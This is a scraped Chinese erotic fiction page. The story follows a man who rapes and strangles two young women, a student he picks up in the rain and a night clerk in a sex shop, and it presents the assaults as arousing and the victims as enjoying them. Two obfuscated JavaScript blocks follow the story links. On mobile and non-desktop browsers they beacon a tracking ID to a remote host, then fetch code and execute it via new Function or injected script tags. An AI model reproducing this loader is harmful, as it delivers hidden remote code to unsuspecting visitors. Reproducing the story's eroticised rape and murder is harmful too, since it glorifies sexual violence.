图片载入中

野性的唿唤1

特大字】 【大字】 【中字】 【小字

他慢慢地推开了玻璃门,走进店中。

好干净的情趣用品店,被打扫的一尘不染,一点阴暗的感觉都没有。

他走向柜台,正要开口,突然愣住了,柜台后的是个女孩子。

(嘿嘿,这可有趣了!)

“先生,您需要些什么呢?”

——————————————————————————–

“啊啊”

母亲的身体随着男人的起伏有规律的抽动着。男人的手狂乱地搓捏着母亲的两颗巨乳,嘴巴舐着她的乳沟,来回地、不停地舔。而下体更用力地抽插着,让母亲达到更快乐的高潮。一黑一白的肉体摆动着,交媾着,享受着人间极致之快感。

他躲在门后漠然地望着母亲。他知道,那个男人并不是他的父亲。

突然,他的父亲进来了。他、母亲、男人和父亲都愣住了。不不可以,他不该回来的,不是加班吗?

他永远也忘不了那一天。父亲的脸孔渐渐转为青色,刹地抽出了手枪,结束了男人的生命。父亲疯了似地抓住母亲,掐着她的喉咙,粗暴地干她,用力,再用力!他哭着,叫着,想阻止父亲

他七岁那一年,父亲因蓄意杀人、杀人未遂,被判死刑。

直到高中,他一直就读男校。从不接触女人。私底下,他拥有无数的日本AV报导杂志,和几乎可说是近年来所有的AVLD。这就是他的秘密世界,他一个人的。他在这个非真人的世界中活得很阴暗,但他自认为满足了。他不相信真实的女人。

(那些邪兽!)

他,现年二十五岁,K资讯企业电子工程师。

那一天,晚上加班到十二点,他匆匆离开了公司,驾着车奔向家中。雨来得好急,前方模模煳煳地地,突地伸出一只手把他的车拦了下来。

“对不起,这么晚没车了,又突然下了这么大的雨,可不可以麻烦你载我一程。”

一阵清脆的声音。他不禁转头打量了一下说话的女孩子,好年轻,大概才十八岁左右吧。一头长发直垂到腰际,脸蛋很清秀,长得蛮迷人的。穿着一件短袖的白色洋装,被雨打湿后紧紧地贴住了她的身体,呈现半透明的样子。胸罩若隐若现,而罩杯中央两粒小小的物体明显地突出,构成美丽的曲线。洋装下半身则是短裙,沾了水气,大腿内侧更是看得清清楚楚。白色的内裤也有点湿了,半透明之中朦朦胧胧地夹杂着一块黑色的三角形,好不性感。

“上来吧!”

“谢谢你!可不可以麻烦你带我到到T大宿舍!”女孩在他隔壁的座位坐了下来。

这是他第一次这么接近一个真实的女孩,他似乎闻到了一种不同的气息,是他从没有闻过的,好香,好诱人。

(是处女之香吗?)蓦地他想起A片中的台词。

(不不可以想,女人全都会骗人!只有AV才是真实的!)

他努力压制着自己心中的野兽,饭岛爱、浅仓舞、白石瞳。(我要克制欲望!)

一道栅栏束缚了那只猛兽,但它用力挣扎着。

“你加班吗?”清脆的声音响起,击破了栅栏的一角,但野兽仍困在其中。

“嗯!奶也这么晚才回家?”

“我住宿舍,不要紧的!”他猛地想起‘东京女大学生夜生活’那部片子,田村香织和那个A片男主角的对话不就是这样!

栅栏又崩毁了一角。

“奶淋湿了!”

“对啊!刚才那阵雨来得没头没脑,我来不及反应呀!”女孩笑了笑:“回去要好好洗个热水澡了!”

他的脑中涌出她淋浴的模样,水流缓缓地流过她的脸颊,流过细白的颈部,丰满的乳房,尖挺的红色小点,圆滑的腹部,可爱的小肚脐,在黑色的神秘地带汇聚成一股小小的瀑布

(不,不要讲了!)恶魔已经探出了半身,即将占据他的灵魂。他奋力抵抗着,回想起他所喜爱的AV女优们,她们的呻吟、起伏、起伏、起伏,(不对,怎么越来越兴奋了!停!停!)

最后一击。

女孩倾身过来,甜甜地对他一笑:“幸好遇到你这位好心的帅哥,肯送我回去!”

他一低头,女孩的领口正对着他的视线,乳沟和胸罩间的间隙好窄,不!是好宽!不!窄!宽!窄!他的思绪乱了,唿吸急促了起来,脸也渐渐染上一层红。全身颤抖着。不行啊!

(这乳香!)

栅栏炸裂了,猛兽被释放了出来,恶魔在他身中无目地的乱闯!

他猛地打方向盘,车子在黑暗无人的大街上向左转着、滑着,女孩被惯性牵引着倒在他的身上。“怎么回事?”

车子刹住了,扑在他身上的女孩感到不对劲。一根硬物顶着下巴,她擡头望着他,不安地问道:“你没事吧?”

“不!我没事!可是奶有麻烦了!”

恶魔露出邪恶的微笑,女孩不禁打了一个冷颤。“你”

他猛地抓住女孩的肩头,把她压倒在椅背上。活动式的汽车座椅向后倒了下去,和后座接在一起,形成一张巨大的垫子。女孩挣扎着,两手抓着他的臂膀,努力想要推开他,两脚也拼命地踢着、扭着。但是,他的力量出乎意料地大,跨坐在她的大腿上,她的努力完全没有效用。

她尖叫起来,可是他完全无动于衷。这样的深夜,没有人会来打搅。

他把她的两手倏地抓紧,用左手向前压在一起,使她无法挣脱。右手用力地扯裂了洋装的的上身,露出白色蕾丝边的胸罩。用他的食指伸入了胸罩和乳沟间的缝隙,猛力向下扯,漂亮隆起的乳房蹦了出来。雪白的山丘上两个红色的圆点像熟透了的樱桃,吸引人去品尝。他低唿一声,俯身轻轻地含住了她左边的乳房。

“不不要这样!”尖叫变成了悲戚的哀求,女孩的眼角泛出了晶莹的泪珠。

没有理她的必要。他的舌尖在口中沾满了口水,在她的乳晕四周缓缓地画着圈,一圈、两圈,右手则用力地搓揉着她的右乳。他清楚地感觉到,乳晕中央的小点急速地挺立了起来,乳尖顶到了他的牙齿,他更兴奋了!

他压在她平躺半裸的躯体上。女孩的手脚仍在挣扎,但只是有气无力的动作着而已。他吸允着她的奶头,婴儿时期的本能显露了出来,他贪婪地吸着,彷佛一点点吸收了女孩的精力。两只手放开了她的双手,下滑到她的下体,褪去了她破裂的洋装。她察觉了他的目的,两手紧紧抓住她半湿的内裤,想要守住最后的防线。但是,他却不试图脱下她那白色的最后一件,反而顺着她手的力道,抓住内裤的两侧,更猛力地向她上半身的方向拉。

“停停不”哀求开始转变成呻吟,女孩连话都讲不清楚了。

内裤深深陷入了阴户,大阴唇紧紧地咬着那一片白色。她全身像是通过一阵电流,酥酥麻麻的,再也使不出力气了。原来被雨水打湿的半透明内裤现在已经变成全透明了,阴部内粉红色的器官看的一清二楚。

“啊啊”

女孩大声地喊了起来。她身体好像有火在烧,好热!

而他的双手并不停止,将内裤继续地上拉,套过她的双手,让她的手和大腿都穿过内裤同侧的洞。然后继续上拉,每一用力,女孩就呻吟一次。最后,他用力地将内裤的两侧套在女孩的两肩。为了固定,他更把女孩的手向上伸展拉直着。这样一来,从女孩的两肩到阴部,内裤正好形成了一个窄窄的V字型。她的两手则被抓着使力地向前伸着。每拉一次,V字的底部就更深陷入阴户。大阴唇再度闭合了,黑色的丛林又掩盖住了她的小穴。在小穴中,透明的液体一滴一滴地出。女孩已经承受不住了,雪白的大腿不安地前后扭动着,屁股也开始左右地晃动。身体发出的高温滚烫连压在她身上的他都感觉得到。

“不不要,啊啊”

恶魔是不会就此停止的,他抓紧了V字的两个斜线,并成一直线,两手一前一后的抽着,来来回回地摩擦着女孩的阴埠内。那里的淫水已经汇聚成一条小小的河流,沾湿了车子的前座。女孩全身都开始乱扭了起来,却扭不掉搔痒的难受和欲望。火在全身烧着。他停止了吸允,把头降到了她的阴部,开始舔起她的淫水来了。不一会儿就舔干了,女孩的阴毛上沾着一粒粒晶莹的不知是汗水、口水还是她的淫液。他感到口渴,舔得不过瘾,看来小穴—-那泉水之源—-尚未枯竭。想也不想,他的舌头就像一只巨蛇向前猛伸入了她的密洞。进进出出,瞬间沾得更湿了。黏黏的液体有着说不出来的美味。他使劲地舐着,一滴都不放过。

“嗯嗯”女孩呻吟地更大声了,两只手无意识地乱抓,抓到了车门的把手就紧抓着不放,没有支撑物她会受不了的。

他似乎发现了这泉是无穷的,而放弃了舔舐。两只手轻轻地扒开了她的两片阴唇。一道白色的粗线卡在她的小阴唇上,他把它拉了下来。一颗青色的果实蒙蒙地呈现在眼前。他坐了起来,脱去了自己的西装和内衣,把自己那根等了好久的黑柱伸到女孩面前摇晃。

“不要!”女孩终于明白了为什么人家都称那是个丑恶的玩意儿,书上看起来不过尔尔,而现在实物就在她面前左右摇摆着,这么巨大,这么丑恶,这是恶魔的化身,而这匹恶魔将要经由自己的小小的穴进入自己的体内,好可怕!

“要进去罗!”

他将龟头对准了那个密洞,缓缓地送了进去,因为有着女孩密液的润滑,他很轻松地就把龟头放了进去。正当女孩再休息着,以为他将温柔地进入时,他却用力一挺,把整个巨大的肉棒插了进去,中间彷佛穿透了一层薄膜,直刺到底。

“啊~~啊~~!”女孩痛苦地大叫了起来,意料外突如起来的疼痛让她好难受,她的眼泪迸了出来,不住地流。

龟头前端传来一阵快感,好舒服的感觉。阴茎也发烫了起来。他抽出一半,再用力地刺,一进、一出、一进、一出,肉棒上早沾满了女孩的第一次的血。越抽越亢奋,女孩的身体也不自主地随着他的抽送上上下下摆动着。“啊~~啊~~嗯~~嗯~~啊~~~~”两人同时低声呻吟着,火越烧越炽烈,快感一直升高、升高,他的速度也越抽越快,声音也渐渐高了起来,“啊!”两人在那一刹那同时达到最高点。他使尽最后一丝力量将滚热的液体送入女孩的子宫内,身体颓然摊在女孩的裸身上。黑色的怪物却似被魔鬼附了身,依然不肯松懈地直插在女孩的森林中。

“你、你这恶魔!”

他擡头望着高潮过后的女孩,脸颊依然红扑扑地泛着潮红,处子之血染红车子前座。红色的祭品再度唤回了恶魔,在阳光没升上来前,还是段漫长的黑夜。

恶魔的舞台,谢幕。

(真可惜,这么漂亮的女孩子!)

——————————————————————————–

管理人员打开教堂的大门,准备开始清理早晨礼拜所需的一切,却大吃一惊。耶稣受难像上的基督雕刻摔在地上裂成了碎片,而钉在十字架上的,是一具赤裸的女体。和原耶稣像同样的姿势,双手打开钉在十字架两端,美丽的脸孔像沈睡了般垂在胸前,表情很祥和。长发披散在挺立的双乳前,直到肚脐。两腿交叉着,大腿间的私处、浓密的丛林间,有着小小的红色水滴,慢慢地滴着,在地上形成了个血红的小水洼。而在美丽的左乳上,用血染成一个怪异的“A”字

管理人员张大了嘴看呆了,整整愣了三四分钟,才杀猪似地叫着,奔出教堂报警。

“死者经查明有被奸杀之嫌疑,已确定是T大二年级的李姓女学生。死者昨晚和朋友出去跳舞,失踪了一夜,今早才被发现陈尸于城中R大教堂。死因判断是被勒住颈部窒息而死。警方”

他伸手关掉收音机,嘴角浮出浅浅的一笑,这只是开始呢!

夜很快的又来了。

为了需要,他转进一条黑暗的小巷,走进了一家明亮的情趣商店。

非常令人惊讶地,居然是女孩子在看着店。

黑暗的魔性再度悄悄地占据了他的心灵。

——————————————————————————–

第二话少女的喘息

“先生,您需要些什么呢?”女孩热心地招唿着。店内除了他已经没有客人了,深夜中一个孤单的女孩在这样的店中打工,真是大胆的女孩。

他嘴边泛起一抹微笑,回应着她。

“我要春药。”

“呃!”女孩一愣,从没有见过这么直接的客人。

“会让女孩变荡妇的那种。”

“哦!”女孩一时还反应不过来,慢慢地走进后面的房间中拿了个梯子。

“我们店有,但是放在蛮高的地方,为的是怕警察来查。呃!先生,你知道,这是违禁品。”

“咦!你这样的女孩子怎么敢深夜还来这打工呢?”

“为了钱嘛!晚上来这帮老板看看店,从六点到十点有一千块的薪水耶!”

“老板怎么不自己来看店?”

“他还有别的生意要忙啊!”

女孩背对着他爬上了梯子,伸手在高处的柜子中摸索着。

他望着她的背影,细细地观察她的全身。半长的黑发结成一根大辫子披在肩头,细嫩的粉颈让人忍不住想咬一口。黑色的连身裙好像太小,把她的身材展露无疑,从短短的裙摆下彷佛看得到雪白的大腿。隐隐约约可以看出蕾丝的三角裤,黑色的内裤包在黑裙中更增添一份神秘的色彩。小腿圆滑匀称,白色短袜和黑鞋也和服装非常搭配。这是位美少女啊!

“奶不怕深夜有人骚扰奶吗?”

女孩回头笑笑:“我在柜台底下有放好几罐防狼喷雾器呢!”

“喔!”

女孩又回过头去找着东西了,他突然倾身过去将右手伸入了女孩的裙摆中。

“啊!”女孩一声尖叫,大腿本能地夹紧他的手,这是正常的反应。

“客人,你要干什么?”

虽然手被夹住了,但是他的手指已经接触到她的私处了,但只有食指能动作着。他隔着内裤轻轻地触着她的阴唇,在凹凸不平的蕾丝上来回地动着。

(果然是蕾丝的!)

“不,不要这样,客人!”

女孩感觉到一股酸痒,但两腿却不可以松开,这样上身也无法自由动作,只能一直维持着这样,夹着他的手。

(这样会有性欲的,不行啊!)女孩心中叫着。

他不理她,继续地抚着。突然,手指尖传来一个感觉,在内裤中央居然有道裂缝。这是情趣内衣啊!

“你这不乖的小姑娘,偷了店里的东西吧!”

“对对不起,我我不是故意的,那套蕾丝内衣实在太漂亮了,我才趁老板不注意时偷拿的。我我马上放回去!真的!啊~~!”

手指伸入了内裤的洞中,轻轻地搔着她的阴户边缘,使得她不能自主地一边说话一边低哼着。

“啊啊,求求你停止,这里的钱你都拿去吧,我不啊我不会说出去的。”

女孩两手紧紧撑着身前的柜子,两脚快站不住了。

他另一手探到了收银机前,但并没有动钱。按下了收银机旁的一个按钮,商店的铁门缓缓降下了。

女孩更惊慌了。“客客人,请你啊请你放手!这这样下去我”

“好啊!可是奶不松开脚我怎么抽出我的手啊?!”他露出一丝诡谲的笑容。

单纯的女孩不加思索,两腿放松了,让他的手自由活动着。他当然不会放过这个机会,整个手掌摸到她的密穴。

“啊啊~~~~!”没有防备的女孩一时承受不住,两脚软了下来,身体不住下滑。她的双手想抓住些什么,但只是把柜子上的货物扫落了一地。

他松开手跨过了柜台,把女孩拉了起来,面对着她紧紧地抱住。双手从她身后拉下了她连身裙的拉炼。再将肩带向两旁拨了拨,整件连身裙就顺着滑落了下来,掉在她脚边。女孩猛地一扭,脱开了他的束缚,朝店内跑去。他并不急着追赶,反而静静地欣赏着。女孩身上只穿着内衣裤和一件薄薄的T恤,T恤长度仅仅刚好遮住三角小裤。粉白的大腿完全没有保留地展露在眼前。尤其她跑动时,大腿跟处的黑色蕾丝内裤也看得见了。那不仅仅是蕾丝边,而是整件都是蕾丝的。镂空的图案间和内裤中央的缝内,阴唇若隐若现,好不性感。

他缓缓走过货物陈列架,女孩被逼到墙角没处跑了,毕竟这只是家小小的店面。眼角彷佛瞄到什么东西,他停下来拿了几样物件,然后又走向她。女孩躲在角落,瑟缩地颤抖着,脸上流露出恐惧的神情。

“请请你不不要过来好不好?”

他还是走向前,女孩作势要向旁边逃开,他猛地把她扑在地上,把她翻过身来,用刚拿的手铐把她的双手铐在背后,又脱去了她的鞋袜,把她的双脚也锁了起来。这样她就无法逃开了。

他把她的T恤从领口往两侧直拉到胸部下,露出挺立的双峰和黑色的胸罩。他将手放在她的胸罩上,轻轻地搓揉着。女孩难过地扭动胸部,双峰变得更坚挺了,乳房中央也突起了两颗小小的圆粒。他拿出一把小刀来,往胸罩中央一划,胸罩向两侧弹了开来,解脱了的双乳和中央的果实微微颤动着,发出妖异的光芒。他不自禁地俯下身去舔了起来。湿滑的舌尖滑过深陷的乳沟和突起的乳头,女孩的身体不自主的上挺,让他把整个乳峰都含在嘴中,让整个胸部都沾满了他的唾液。突然他把乳房吐出来,两手用力地把山丘抓紧,两指间夹着她青红的乳头慢慢用力,没有准备的她大声哀叫了起来。

“啊~~~~啊~~~~,好痛,好痛,住手”

果实迅速地充血,变成了鲜艳的红色。女孩奋力一翻身,脱离她的掌握,向外旁了出去。而手脚被绑着,她只能像蛇一般扭动慢慢地前进。丰满的双丘充满弹性,受到地面和相互的压迫,散发出妖魅的光芒。

他再扑向前,把女孩的身体翻回来。拿出两个大夹子夹住两颗鲜红的乳实,给予女孩痛苦的快感。

“嗯~~~~嗯~~~~”女孩的表情已经看不出在忍着痛还是享受着了。是绝望的抽泣还是极端的愉快,她的眼角流下涔涔的泪光。

他的目光移向女孩的下体,把她的亵裤到了膝间。两手拨开了她长满了森林的肉丘。粉色的贝壳中央着一粒耀眼的珍珠,一股浊流从旁沁了出来,把森林染了一片银亮。

“已经这么湿了啊!奶真是个淫娃。”

他放开手,走回陈列架旁找着东西。“让我们看看奶店里有些什么宝贝呀!”

他走回来时,女孩瞪大了眼望着他。“不要,不要用那个。”

他手中拿的是一个细铁棒,后面接出根小电线到一个遥控器上。而铁棒末端却是个发亮的光滑的银白色铁球。他一按开关,铁球就开始快速的转动。“要把这个东西放入你最淫秽的地方耶!奶说好不好啊!”

“不啊~~~~”他把两个大夹子猛力一拉,女孩疼得说不出话来。

“嗯!奶也没意见罗!”

他关掉了开关,把铁球缓缓地伸入那神秘的三角洲,从峡谷的顶端降下去。铁棒一直伸入,彷佛没有底似地,直到快完全没入了才有顶到物体的感觉。“然后”他按下了开关,从肉缝中传来了一阵“吱吱吱”的机械旋转声。

“啊啊不要,我受不了了!”

阴核传来一阵舒服的感觉,双腿不自觉地夹紧,难过地扭动着。意识已经渐渐地模煳了,嘴巴发出无意义的呻吟声。体内的情欲被点燃着。阴唇一点一点地把小机器吞吃了进去。机器快速旋转发出了高热,阴户内像有火在烧,不断地抽动着。半透明的蜜液如洪水般喷了出来,流得大腿跟湿了一大块。

“啊嗯~~~~喔~~~~喔~~~~”

他用力地把小球抽了出来。“啊!”她彷佛被解放了。小铁球兀自转个不停,把沾在上面的淫水洒了他俩一身。他倾身看着她的阴户,阴唇口一张一合地好似没吃饱的雏鸟,阴道口被弄成奇怪扭曲的形状,水依然不断地流出。他不给她任何喘息的机会,从西装裤中把那个巨大的玩意儿掏了出来。黑亮的肉柱早已硬梆梆地翘起。

“不、不要!”女孩沾满泪水、绯红的眼中流出拒绝的眼神,但他仍用力地往肉洞中挺了进去。刚才的高潮还没平静,无法忍受的兴奋又再度来袭。女孩张嘴大声叫了起来。虽然嘴上说不愿意,但身体违背了内心,快乐地迎合着男人。

“啊~啊~啊~~!”身体不能控制,频频地往上挺,借此达到更高的快感。而男人也不辜负她的期望,黄龙直捣至密穴的最深处。女孩的脑子已经昏沈沈了,身体的能量被男人不停地耗去了。

“啊啊啊不不行了,我快要死了!”

听到这样的淫语,他的攻势更猛了,屁股紧紧地夹着他,让肉棒更深地刺进。阴核传来一阵阵爆炸的感觉,女孩觉得自己快要化掉了。肉壁一阵痉挛,承受了浊热的液体。两人同时泄了,密液和精液混合的晶莹液体,。把两人密接在一起的私处沾得更湿了。

湿润的阴毛发出亮丽的光泽。他趴在她美丽的裸身上喘息着,两人渐渐平静了下来。

“又到了这个时刻,真不想破坏上帝的美好杰作!”

“你你要干什么?”尚未平息的女孩喘息地问着。而男人的手已悄悄握紧了她的喉头。

——————————————————————————–

商店老板拉开铁门,眼前的景象让他吓一跳,然后转为震怒。店里被翻得乱七八糟,而且翻箱倒柜地好像少了好多东西。

“遭小偷了吗?”

(真不该雇用学生的,她走时一定没关好门!)

“这宗手法与前次T大女学生被奸杀案非常类似,警方怀疑为同一凶手所为。被害者是S专校四年级陈姓学生,该女在Z情趣用品店打夜工,昨晚深夜被暴徒强奸,后被勒住脖子窒息而死。商店老板被警方以嫌疑犯起诉,但他辩称不知情。此案正由”

而他,正锁定着下个目标。


上一篇:杨小青自白(5)迎宾入室(上)(中)(下)

下一篇:玩伴 – 雪莉


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};